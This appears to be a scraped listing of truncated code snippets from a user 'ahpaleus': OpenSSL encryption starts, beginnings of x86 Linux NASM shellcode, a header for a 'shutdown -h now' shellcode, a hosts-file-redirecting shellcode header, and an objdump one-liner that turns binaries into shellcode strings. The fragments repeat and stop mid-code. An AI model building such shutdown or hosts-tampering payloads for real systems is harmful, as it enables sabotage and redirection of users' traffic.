ahpaleus

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

int main (void)
{

  /* A 256 bit key */
  unsigned char *key = (unsigned char *)"01234567890123456789012345678901";

ahpaleus

global _start            

section .text
_start:

    ; PUSH the first null dword 
    xor ecx, ecx
    mul ecx
    push eax

ahpaleus

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

int main (void)
{
  /* Set up the key and iv. Do I need to say to not hard code these in a
   * real application? :-)
   */

ahpaleus

/*
; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)

Disassembly of section .text:

08048060 <_start>:
8048060:    31 c0                   xor    eax,eax

ahpaleus

nasm -f elf32 $1.nasm -o $1.o
ld $1.o -o $1
# gdb -q ./$1 
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

ahpaleus

nasm -f elf32 $1.nasm -o $1.o
ld $1.o -o $1
# gdb -q ./$1 
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

ahpaleus

global _start

section .text
_start:
    xor ebx, ebx
    mul ebx
    jmp short call_shellcode

shellcode:
    pop esi

ahpaleus

global _start

section .text
_start:
    xor ebx, ebx
    mul ebx
    jmp short call_shellcode

shellcode:
    pop esi

ahpaleus

/**

;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1 
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

ahpaleus

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    add al, 5     
    push ecx